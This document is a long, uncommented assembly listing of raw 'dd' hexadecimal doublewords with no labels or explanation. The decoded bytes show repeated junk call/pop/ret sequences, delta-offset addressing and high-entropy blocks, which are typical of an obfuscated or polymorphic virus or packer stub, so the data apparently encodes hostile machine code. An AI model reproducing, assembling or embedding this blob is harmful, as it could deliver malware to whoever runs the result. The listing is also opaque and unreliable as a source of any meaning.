dd 0F2840F01h, 0BF000004h, 0E7B30BAh, 2BD9BD83h, 0F0307FAh
dd 4AA86h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 0E70E2A04h, 0D82BDEB9h, 9D8B3FD8h
dd 7FA00B5h, 0BE960h, 0BE390000h, 92D3A9B8h, 2CB6800Bh
dd 0F606053h, 8B66C3B7h, 8D8B61F1h, 7FA16E9h, 0D98C6661h
dd 38812DBFh, 4E1801Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 7BC35141h, 0C90AF5D4h, 1A1840Fh, 6A0000h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 9E90FC3h, 0B8000000h, 51F090BFh, 0FD232689h, 0DF8BFC8Ah
dd 0FE9858Bh, 8E807FAh, 4A000000h, 0DE6A8FF7h, 89BA4F56h
dd 0FA16C19Dh, 0DE8A5F07h, 15E18533h, 6A07FAh, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0DCF3D8C3h, 0BE9D2DAh, 5D000000h, 0B2A909BCh, 4DC0776Ch
dd 8166BFE0h, 90FBA4DBh, 0BE9h, 0B54E4300h, 0A9CE6E66h
dd 8E59BA19h, 0BE95150h, 5D000000h, 0FA8CA1Ch, 8F7E3FC4h
dd 905F006Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 0CC35040h, 0E738CECFh, 6A5F57B3h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0A8528FEFh, 0F3BBED27h, 2B1AFD15h, 0FA07B59Dh, 0F1BE6807h
dd 0D98B0BD9h, 41243481h, 660BC6F2h, 95FFFA8Bh, 7FA1CE9h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h
dd 0E000AE9Bh, 68C60A68h, 8589FC8Ah, 7FA07E5h, 0EB968589h
dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 5138C8C3h, 9B0BAB81h, 0ADBD8B83h, 0E907FA1Ch
dd 231h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 0E6C35545h, 0F98CFE8Ch, 68F0Fh, 95310000h, 7FA1051h
dd 8BFBBF0Fh, 0FDEB8E85h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 894E94DBh
dd 0FA2105BDh, 1800C707h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0AB90C352h
dd 0DFF2348h, 8589519Ch, 7FA089Dh, 92B58B5Fh, 8B07FDEBh
dd 0FA15099Dh, 9DBD8907h, 8B07FA0Bh, 0FA0D5185h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 71207969h, 0FDA8B66h, 689h, 919D8B00h, 8907FA0Ch, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 5BA0A118h, 8BF8C3F9h, 0FA225DBDh, 0E9858B07h, 0F907FA0Fh
dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 16BC350h, 0A159B7F3h, 0FC2D8217h
dd 2569BD8Bh, 9D2907FAh, 7FA1D51h, 0A2BF6650h, 24348914h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 62C35747h
dd 0DC4570C6h, 9D313EE4h, 7FA2575h, 287D9D01h, 0B5FF07FAh
dd 7FDEB8Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 11C35141h, 0E8F78103h, 682C75D2h, 9F4151EAh, 81F88B66h
dd 0B2152404h, 6A60DDh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 7F6E99C3h, 0CEC791h, 9BD23C0h, 8D07FA1Fh
dd 0FDEB9685h, 55958907h, 5007FA08h, 7D87BB66h, 6A240489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 3778C357h, 0A57D2577h, 3CFF8C3Dh, 0E995FFF5h
dd 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 772AC351h, 0F713229Eh, 0B70F0B5Eh
dd 6A61FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 85C7B3C3h, 7FA2BD9h, 3, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0B2C35343h, 0BD838681h, 7FDEB96h
dd 38840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0E962C352h, 32h, 2DF99D8Bh
dd 0CE907FAh, 64000000h, 1720AF19h, 0D6C09A3Bh, 506C0598h
dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h
dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
dd 0F88BC08Bh, 8B66FA8Ah, 0D9BD83DFh, 307FA2Bh, 3DD850Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0EB15F3C3h, 0ED858944h, 8307FA01h, 0FDEB96BDh
dd 840F0007h, 3ABh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 7CC35242h, 6B5652C5h, 0F8B70FB9h, 8BDFB70Fh
dd 0FA14B9BDh, 96B5FF07h, 8107FDEBh, 45EBA9DFh, 4595FF6Ch
dd 6607FA27h, 8B1AE8BFh, 0FDEB8AB5h, 0BF0F5307h, 6C75BFBh
dd 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 0B5C35242h, 14E98Fh, 2D630000h, 0F1C1004h, 59816F88h
dd 5BF3E5BBh, 4328B0C2h, 8B96D768h, 6A9650DFh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
dd 0FF21C350h, 0FDEB96B5h, 619D8B07h, 0FF07FA08h, 0FA18E195h
dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 89B81E6Bh, 9228A9EFh, 9D8B81C2h, 7FA2CA5h
dd 8B59BF66h, 0EB8AB58Bh, 820F07FDh, 4, 2C80BB66h, 1C7D858Bh
dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 8589F0C3h, 7FA02E1h, 8B59D8Bh, 868907FAh
dd 0C4h, 8DB58B60h, 6607FA20h, 3157CB81h, 0D9958B61h, 307FA1Ch
dd 0FA35399Dh, 4C28307h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 57C35343h, 0E22AF003h, 0BD8BF89Dh, 7FA0E01h
dd 23205089h, 0FA1859BDh, 0F7858D07h, 6A07FDFEh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 793FC357h, 2BF2B6AEh, 0D8F4E05Ch, 2C1B501h, 0BF0F07FAh
dd 0B88689DAh, 9000000h, 0FA01F1B5h, 6A006A07h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
dd 926CC356h, 94D6647Eh, 0EB96B5FFh, 853107FDh, 7FA0AC1h
dd 1C9595FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 8531E6C3h, 7FA01A1h, 20F9BD8Bh
dd 0E99607FAh, 11h, 0A07D2ECFh, 0B64F02A7h, 68A796A1h
dd 0D582AF4Bh, 0F6050BEh, 585h, 1A02BF00h, 966172FBh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CC35343h, 0B5FFB5AAh
dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0DEC35040h, 291DBD8Bh, 0D78007FAh, 9595FFF8h, 8907FA1Dh
dd 0FA14A195h, 31BD8307h, 7FA01h, 24840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 5098AAC3h, 66243489h, 0B5FFDF8Bh, 7FDEB96h, 2BA18D01h
dd 95FF07FAh, 7FA1CB5h, 96B5FFF8h, 107FDEBh, 0FA0FEDBDh
dd 0AD95FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 8F55C357h, 78D56CD8h
dd 41BD012Fh, 8A07FA2Ch, 21BD83FCh, 207FA22h, 5A840Fh
dd 0B70F0000h, 15858BD9h, 6A07FA16h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0CBA1C351h
dd 1C4647A7h, 88801D65h, 6A0000C6h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 747BC353h
dd 2960B83Ah, 0FA21D59Dh, 61D08A07h, 16DD85C7h, 7FAh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 60C344C3h, 8A561CB7h, 0E9615FC5h, 0FFFFF3D4h, 298D9529h
dd 5E907FAh, 75000000h, 3A870CAFh, 9D8BC18Bh, 7FA1C45h
dd 0BE8h, 169E4300h, 6A497420h, 4C715108h, 12E9h, 71D0200h
dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 5AFAE3B8h, 74C281F9h
dd 50000065h, 58DEBF0Fh, 9D29C933h, 7FA1679h, 0E90A3C8Bh
dd 14h, 96E06E60h, 0BF48190h, 0F7221AD2h, 0BB066577h, 7E8F4B88h
dd 485FF781h, 95314835h, 7FA2261h, 1EE8C781h, 858B4122h
dd 7FA3515h, 0D322C781h, 0B589650Ch, 7FA0E59h, 8B0A3C89h
dd 0FA23D99Dh, 0B5B58907h, 8307FA33h, 494901E9h, 0C9BD8949h
dd 8107FA14h, 0FF9B50F9h, 16850FFFh, 29000000h, 0FA16C18Dh
dd 1FE907h, 4C350000h, 0D2D8D54Ch, 0E6AD53B9h, 0E9C78B04h
dd 0FFFFFF7Ch, 1C80F15Bh, 5493E39Fh, 8F46C84Fh, 0FD8D8D43h
dd 6A07FF66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0E2C4C351h, 0F610727h, 0B70FC7B7h
dd 0D98D89D7h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 73D5C356h, 17D451F5h
dd 85C7C07Fh, 7FA31ADh, 6248h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 72C35646h, 85B2F8B0h, 31E475EFh
dd 0EE9h, 51FC2C00h, 25624BFDh, 0B029467Ah, 0C725CFC9h
dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 8B8F7751h, 0FA33E995h
dd 6DB5FF07h, 6A07FA2Dh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0CA4C356h, 0DFF6ACEAh
dd 8166F78Ah, 0FFA9FBC2h, 0FA179995h, 55006A07h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 0ED0C7D22h, 0CE3219B1h, 0ADBD0985h, 6A07FA07h, 1995FF00h
dd 8B07FA10h, 620AEBC0h, 0DC4570C6h, 166E3EE4h, 7C8D8DF0h
dd 8907FF67h, 0FA25A985h, 0D98D8907h, 8907FA1Ch, 0FA18718Dh
dd 0AD85C707h, 407FA31h, 0C700005Bh, 0FA2BD985h, 7, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0EAE7A9C4h, 0F5BD89h, 0BF0F07FAh, 0EDB5FFDFh, 0F07FA0Eh
dd 95FFC0B7h, 7FA1799h, 1659D8Bh, 6A07FAh, 101995FFh, 0C08B07FAh
dd 4EEB5DEBh, 0BF724BEDh, 0C21AE6Ah, 0F53FA171h, 0BF08E885h
dd 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh
dd 0BD9E786Eh, 5BCA4149h, 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h
dd 0E54CFCD9h, 7382D57Eh, 27BD04B8h, 0C6FCCB68h, 1AF848FAh
dd 0D4A2D0B0h, 0E669CC6Eh, 49008DD8h, 8D8546AEh, 0FF68BE8Dh
dd 0FE807h, 0D4400000h, 7D16E5B4h, 0BB79D298h, 6C8967C5h
dd 7E8B4h, 29840000h, 3A045F96h, 0D9BF0F28h, 8D895F5Ah
dd 7FA1CD9h, 0CE9h, 9F2DD400h, 0AEC1328Ah, 0D25BA30Eh
dd 0AD85C7CAh, 3807FA31h, 6A000064h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3A0FC355h
dd 8A597E81h, 0C3B70FACh, 68D0Fh, 958B0000h, 7FA0D79h
dd 2BD985C7h, 7FAh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 587C7EC3h, 0C891E620h
dd 9531F5E8h, 7FA2741h, 2515B5FFh, 0F6007FAh, 0F88h, 9E800h
dd 916C0000h, 78F00116h, 58864A00h, 9995FF61h, 6607FA17h
dd 4ABEC381h, 95FF006Ah
dd 7FA1019h, 8EBC08Bh, 3AE4A8A9h, 1CF20108h, 60C4ACE0h
dd 30C4C5A8h, 0F39CE620h, 14804F48h, 1480470Ch, 30C4D200h
dd 0F3948602h, 560D755Ah, 0BBE70439h, 60C4AC80h, 30C4C5C8h
dd 0F39CE610h, 14804F50h, 14804700h, 30C4DA06h, 0F3948601h
dd 0B2BA4EF8h, 0F745938Eh, 0FD7945DEh, 30C33C3Ah, 8D47CF7Dh
dd 373EDE9Dh, 60DDB202h, 88044D52h, 30C4C283h, 100D43C9h
dd 0AD49C1DAh, 37382434h, 689F15F7h, 285D7B87h, 44C4C1F8h
dd 88979616h, 30C4C283h, 100D43C9h, 0AD49C1DAh, 37381903h
dd 689F15F7h, 112D538Dh, 30AEC1F8h, 30C72E54h, 6DE4C680h
dd 5C4D9B83h, 7445C204h, 30D2C234h, 6581C608h, 415768C7h
dd 17597B89h, 0F04FC1FBh, 0D896C6EAh, 30C4C643h, 6A079C00h
dd 34E09299h, 34E08289h, 30C4C618h, 0EF079440h, 0E90EE9BBh
dd 9443228h, 0D91C4A26h, 30C4C62Fh, 6E3FD313h, 2F59352Fh
dd 8EF00E29h, 0B99F508Fh, 0CADAB794h, 3FC06E87h, 30C0C0C4h
dd 0F1494D20h, 0B3C33C3Bh, 0CADC3FB5h, 0B4CBC603h, 30C4C632h
dd 0D90D710Eh, 30C4C56Bh, 0D891C62Ah, 30C4C623h, 6D079B30h
dd 34E0AA81h, 34E08285h, 30C4C618h, 85079344h, 0B04DF5B0h
dd 0AD4F9A04h, 373EEE65h, 30E3C6AEh, 66C4AC0Ah, 30C4C5ECh
dd 0F39AE602h, 14B04F5Fh, 14804784h, 30C4D144h, 0F3928020h
dd 25001B77h, 0A4BC7C6Eh, 8DBA4389h, 30AEC1FFh, 30C72E52h
dd 6BE4C680h, 6C4D9D83h, 7445C204h, 30D8C234h, 6387C608h
dd 89DC4AC7h, 13082EBBh, 0E03BEE22h, 0F0413C0Bh, 302D424Fh
dd 30AEC620h, 30C72E46h, 6EE4C608h, 444D98C7h, 7445C226h
dd 30D0C225h, 6682C680h, 8450783h, 0CB45A077h, 3097431Fh
dd 30AEC608h, 30C72E56h, 6AE4C602h, 644D9CC2h, 7445C2A4h
dd 30DEC264h, 6286C620h, 51E5DBD3h, 79E14D2Eh, 34BC4762h
dd 0B4CBC400h, 30C4C566h, 0D896C6EAh, 30C4C643h, 6A079C00h
dd 34E09299h, 34E08289h, 30C4C61Eh, 4C079440h, 12155F6Dh
dd 0E14473BCh, 845A041h, 0B5CBA6BCh, 30C4C673h, 0D894C662h
dd 30C4C607h, 68079E22h, 34E08288h, 34E08201h, 30C4C654h
dd 0C9079660h, 0D8C6BE90h, 30F94307h, 8FA2C604h, 0B1A2F052h
dd 9BC4C079h, 30E9438Fh, 1397C640h, 0CAC983B5h, 0C42D9917h
dd 5AC4C60Ah, 332C9104h, 10C4C602h, 0B99B055Eh, 0B1C0E2FCh
dd 26C0E204h, 77C4C620h, 55D30547h, 8E1C4DEEh, 76C5C704h
dd 0B996C8B3h, 0CACA23BCh, 0B5499987h, 37397B3Eh, 0D897C64Ah
dd 30C4C613h, 6B079D28h, 34E09A8Dh, 34E08283h, 30C4C61Bh
dd 5A0795C3h, 90909095h, 212DDC74h, 2DC4C610h, 9E430679h
dd 41417230h, 0C3AC395Ah, 99A4F6EDh, 1FE17B81h, 2C7DC1BAh
dd 0CFC91A69h, 0C345A0C0h, 0F04158CAh, 32D1420Bh, 30AEC602h
dd 30C72E50h, 69E4C680h, 7C4D9F83h, 7445C204h, 30D1C234h
dd 6185C608h, 0B96FC3C7h, 0CAC61F87h, 30CB2F06h, 0F639C680h
dd 1F2C8419h, 0F866BA28h, 0F215FFD3h, 56FC4776h, 3FC6C439h
dd 30C49F87h, 30C12E01h, 0F10CC680h, 0B9A90BA4h, 0CADAEFB5h
dd 0B1A29917h, 0B1A11FFAh, 0DA2C07Ch, 0B4CBBC5Dh, 30C4C406h
dd 0D891C6EAh, 30C4C643h, 6D079B00h, 34E0AA99h, 34E08289h
dd 30C4C611h, 21079347h, 30D02FA8h, 9AE3C680h, 9085B9DEh
dd 8247549Bh, 0E712FFBEh, 5F5C565Fh, 0B1A2D195h, 3FA45A3Ah
dd 30C44884h, 61C4AC80h, 30C4C5A8h, 0F39DE620h, 14884F49h
dd 1480470Ch, 30C4DD00h, 0F3958702h, 195817CAh, 0F30E9FBEh
dd 37655369h, 4844C1DAh, 0B5CB2E12h, 30C4C653h, 11195B8Dh
dd 0B1A2C1F8h, 0F0C4C079h, 308D438Fh, 30AEC640h, 30C72E71h
dd 69E4C610h, 7C4D9FCBh, 7445C220h, 30D1C226h, 6185C601h
dd 0D92E5843h, 30C4C71Fh, 0D893C64Ah, 30C4C613h, 6F079928h
dd 34E0BA8Dh, 34E08283h, 30C4C61Dh, 350791C7h, 57F4F3Ch
dd 0DA5AA9DFh, 8EDF2C90h, 4EC5C708h, 0B5491C8Fh, 37397B7Ch
dd 3A6A7967h, 8FCB167Fh, 3F0443B9h, 30C404A4h, 949C510h
dd 0B0C33C10h, 0B5CB2E3Ch, 30C4C647h, 43C1BE81h, 30FF438Fh
dd 30AEC640h, 30C72E77h, 6FE4C610h, 4C4D99CBh, 7445C220h
dd 30D9C226h, 6783C601h, 0CBD76043h, 0EA271EACh, 0B0ACBCDFh
dd 3F97C168h, 30C4148Ch, 5A054704h, 19B89C7Fh, 0CACCE78Ch
dd 845A087h, 0B5CBC3CFh, 30C4C643h, 0D893C67Ah, 30C4C60Bh
dd 6F079924h, 34E0BA8Bh, 34E08280h, 30C4C697h, 0BF079107h
dd 0B0E1EBCAh, 3FACC068h, 30C4FC8Dh, 0E345A004h, 0B1A2A049h
dd 153BCD79h, 30ED438Fh, 30AEC640h, 30C72E77h, 6FE4C610h
dd 4C4D99CBh, 7445C220h, 30D1C226h, 6783C601h, 621D2943h
dd 0D99E64F2h, 30C4C67Bh, 88124D76h, 30C4C608h, 30C9470Bh
dd 382DC602h, 5EC4C601h, 2D0FC161h, 0D9EFD596h, 30C4C666h
dd 0D893C67Ah, 30C4C60Bh, 6F079924h, 34E0BA8Bh, 34E08280h
dd 30C4C699h, 0AC079107h, 47FC4BBh, 30D72FD3h, 91AFC608h
dd 83F31235h, 0BBADBD36h, 0E8AFE187h, 0A82C3398h, 88354C17h
dd 30C4C621h, 19F15B9Bh, 0D994C1F2h, 30C4C602h, 3772BBBEh
dd 344D1A47h, 0A151C7A4h, 0BDC33C54h, 0CFAC0D9Dh, 5E494B17h
dd 88C33966h, 47A29327h, 2CC54301h, 0FFEFC1FBh, 0C5C7088Eh
dd 491C8F4Eh, 397B7CB5h, 6A796737h, 0CB167F3Ah, 443B98Fh
dd 8304A43Fh, 0A4F305E9h, 458D8B58h, 6A07FA29h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 1628C356h, 0BB38723Ah, 0FA8B9DCAh, 840FC00Bh, 5Eh, 8DF98B66h
dd 0FA4F66B5h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 0B0889AF3h, 0C18D89DEh
dd 0B807FA2Dh, 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0EEC35141h, 1F250990h, 0E6FF5525h, 5CB25053h, 0E840595Fh
dd 14h, 2EDCF01h, 1FE3CBCDh, 0BE7388D3h, 209A1BB2h, 55B151C8h
dd 68B0Fh, 85890000h, 7FA2EA1h, 6AC08B5Ah, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2146C351h
dd 0D1C7BFB4h, 0BD831B9Fh, 7FA2ACDh, 83097500h, 0FA1899BDh
dd 19740007h, 0C08B5350h, 403B8h, 81858900h, 8D07FA15h
dd 0FCE28B9Dh, 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h
dd 403B8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh, 5BD3FF07h
dd 840F6058h, 5, 0EC88166h, 0BE8E5h, 0A2C00000h, 9FA25DA4h
dd 48032F29h, 9E96Bh, 0A8580000h, 0C1B9D08Dh, 5BF070EBh
dd 958B5161h, 7FA00F1h, 0C08BFC5Fh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0C7C35646h, 3EB96606h, 0FABA66D3h
dd 8E8610Eh, 53000000h, 24D1431Fh, 6621F38Bh, 5FCE55BEh
dd 145D8501h, 0C78107FAh, 5D26h, 33EBBB66h, 1728B8h, 0F8BF500h
dd 90C7BE66h, 1566F181h, 81660430h, 81A8FEDBh, 18A21E9h
dd 0DF8B6638h, 0A854F181h, 0B3515734h, 66078F9Fh, 83DBA5BBh
dd 9D3104EFh, 7FA2305h, 1E881h, 850F0000h, 0Eh, 0E93CDE80h
dd 21h, 99616A28h, 55B2FA3Ch, 0FFFFADE9h, 0AC6E74FFh, 67E5E77Ah
dd 0AE33FF69h, 0E556C488h, 0E8D37FA0h, 712ADE56h, 4B46D4D4h
dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h
dd 2056EF5Eh, 4E603262h, 0A5E4FFB4h, 6A6F867h, 0A3BEA162h
dd 21CEF045h, 0A3BA7967h, 21C9D261h, 1706D71Bh, 29333262h
dd 2633831Dh, 96B6C098h, 763459E8h, 5691D615h, 0D963AE67h
dd 0DC352D0Dh, 2664839Fh, 23593598h, 56811F15h, 0AB634A67h
dd 0D943041Dh, 0B3CC039Fh, 21C9B151h, 0A23C1493h, 26336AA1h
dd 5681B015h, 0CE639D67h, 26334DAAh, 0A3BEF6D8h, 21CC2320h
dd 94B624C8h, 76342BE8h, 2BF6FF67h, 0E2B03262h, 94B61794h
dd 7634B2E8h, 56912315h, 0D9635467h, 0DC35500Dh, 26513D9Fh
dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h
dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
dd 56938815h, 0ABBE9D67h, 21CC3C4Dh, 9320h, 0E7FC7800h
dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 71D5B58Dh
dd 8D8D07FFh, 7FF71F4h, 0E983CF2Bh, 0E8C88B05h, 0Ch, 8353277Eh
dd 0A953B5FDh, 0DB5CF494h, 58F88B66h, 0AC58589h, 0C08107FAh
dd 6C42h, 1495958Bh, 0E06807FAh, 0E900001Ah, 11h, 0FA91E844h
dd 417B8CF9h, 545F6684h, 217213Bh, 0BA665B5Fh, 30FF65BDh
dd 21A59589h, 895907FAh, 0FA2D599Dh, 7EC18107h, 0F501CC2h
dd 0C83h, 68C0F00h, 29000000h, 0FA2869B5h, 39F18107h, 8929D5CAh
dd 0FA0FF19Dh, 86F18107h, 0F3260C2h, 889F9BFh, 0E88325B6h
dd 48484801h, 83E5CA80h, 850F01EBh, 13h, 2DE9h, 89BE9800h
dd 0D7DFC1A5h, 54897F16h, 898B77BDh, 0FA18818Dh, 0FF90E907h
dd 7423FFFFh, 27E64E02h, 0F8AC148Bh, 0BC5EEEh, 840B76EEh
dd 136C4F90h, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h
dd 4CA35F04h, 161475ADh, 163C45A5h, 120C013Dh, 0E6C55762h
dd 573A0EF7h, 9708617Fh, 153A2CD9h, 0BA01CBAFh, 31B40E20h
dd 93180126h, 1D3D85C2h, 77938A3Dh, 9104FB0Dh, 0E899F899h
dd 96CF0123h, 1260011Eh, 0FA61014Eh, 12180127h, 4BCF5804h
dd 16224DADh, 162745A5h, 1281013Dh, 5035065h, 94C14766h
dd 9AE380C9h, 0FB5BC8C1h, 120C00FAh, 3BDB9CADh, 995406DEh
dd 0E8AD2499h, 74905F23h, 9B97AE9Bh, 125A2520h, 121BE972h
dd 4C2C0124h, 668F5FE7h, 56820500h, 12960500h, 44860124h
dd 83E830E7h, 5FAD023Eh, 1D1FFB07h, 0EC284D25h, 0FA50014Eh
dd 12030127h, 4C425F04h, 16E475ADh, 164445A5h, 12300132h
dd 0EBDB5762h, 0AD038738h, 0E58767FCh, 0FB5BEDD0h, 12810121h
dd 3AF62452h, 3EA082BDh, 0FA67014Eh, 12180127h, 4DCF5E04h
dd 16227DADh, 162745A5h, 12810130h, 0CD035663h, 1AEBD9AFh
dd 6A84F2A5h, 997E6BA6h, 1266FD6Ch, 1205E976h, 48230124h
dd 46085BE7h, 56410500h, 127A0500h, 40720124h, 0CC8581E7h
dd 0D3C8C8C3h, 152BBE42h, 243A8042h, 0E1050EDBh, 78C00124h
dd 11885424h, 32300124h, 9B45C279h, 93082548h, 6022560h
dd 57030124h, 3B1EC271h, 0E8CA9CB1h, 1BA18223h, 0FA67014Eh
dd 12180127h, 4DCF5E04h, 16227DADh, 162745A5h, 1281013Ch
dd 86035663h, 0DE6D2EF7h, 228594AFh, 2B9806DEh, 0A9890ECDh
dd 78060124h, 11EB5024h, 32810124h, 9B99C27Dh, 93642568h
dd 0A342560h, 53180124h, 0B68AC275h, 9B42B395h, 0E82138B9h
dd 13C08A23h, 342ADBA5h, 19894F8Ch, 0BF300124h, 0F924B91Fh
dd 7A71A7C9h, 0DA059DA5h, 12030BCCh, 0E4CF1324h, 6CD665Dh
dd 0FA4B9F1Ah, 1230012Fh, 19EC80B4h, 0E52E1BF6h, 9B006453h
dd 0E8236C91h, 91DF5F23h, 87CB04E5h, 159A2715h, 59A038A5h
dd 97178A67h, 120C011Ah, 0FA56014Eh, 12030127h, 4A425904h
dd 16E445ADh, 164445A5h, 1230013Eh, 0AFDB5164h, 0F714A939h
dd 9F8BA316h, 15F94E42h, 14B6F6A5h, 1178313Bh, 9B600124h
dd 0E81BFCB1h, 74F9FE23h, 996DDBAFh, 0E835F099h, 0D3BE8C23h
dd 9F86FE56h, 0EDB545A9h, 9114B923h, 970300B6h, 15E215CDh
dd 136CCE0Fh, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h
dd 4CA35F04h, 161475ADh, 5E983A5h, 0C08BA4F3h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DC35747h, 0B23363B5h
dd 0E6E5847Eh, 68F0Fh, 9D310000h, 7FA23D5h, 13E8C38Bh
dd 81000000h, 9783CD4Ah, 3F7C3335h, 28BCC6E6h, 7C26C82Fh
dd 8D0FACA0h, 5, 86CE8166h, 11E959D9h, 0EA000000h, 0D061A3DCh
dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 61C2C181h, 0E6810000h
dd 69BD6E76h, 183C68h, 0D99D0B00h, 5A07FA02h, 0DB9BD0Bh
dd 31FF07FAh, 0BE8h, 5ACEF00h, 0B9769CC8h, 0ADA4327Fh
dd 5EFA8B66h, 5BF08158h, 894515C5h, 0FA2F2DB5h, 56F08107h
dd 8018EF3Ch, 0C081F7F3h, 96AB9C2h, 0FE9h, 0E27BD700h
dd 4AE93644h, 291DC4A5h, 0FB41683Dh, 85B52950h, 8F07FA32h
dd 0DB50301h, 8307FA27h, 0DCB704E9h, 0F01EA83h, 1385h
dd 999D8B00h, 0E907FA22h, 15h, 0EA5501F5h, 0B50EE8DBh
dd 0FFFF85E9h, 9CDD2FFFh, 49069375h, 198D8DE4h, 8B07FF77h
dd 0FA3295BDh, 0D98D8907h, 6607FA1Ch, 85C7D68Bh, 7FA31ADh
dd 6DE0h, 3810Fh, 8B660000h, 0D985C7D8h, 7FA2Bh, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 8AE5C352h, 15E04360h, 0F28B66DAh, 0FFC6BF0Fh
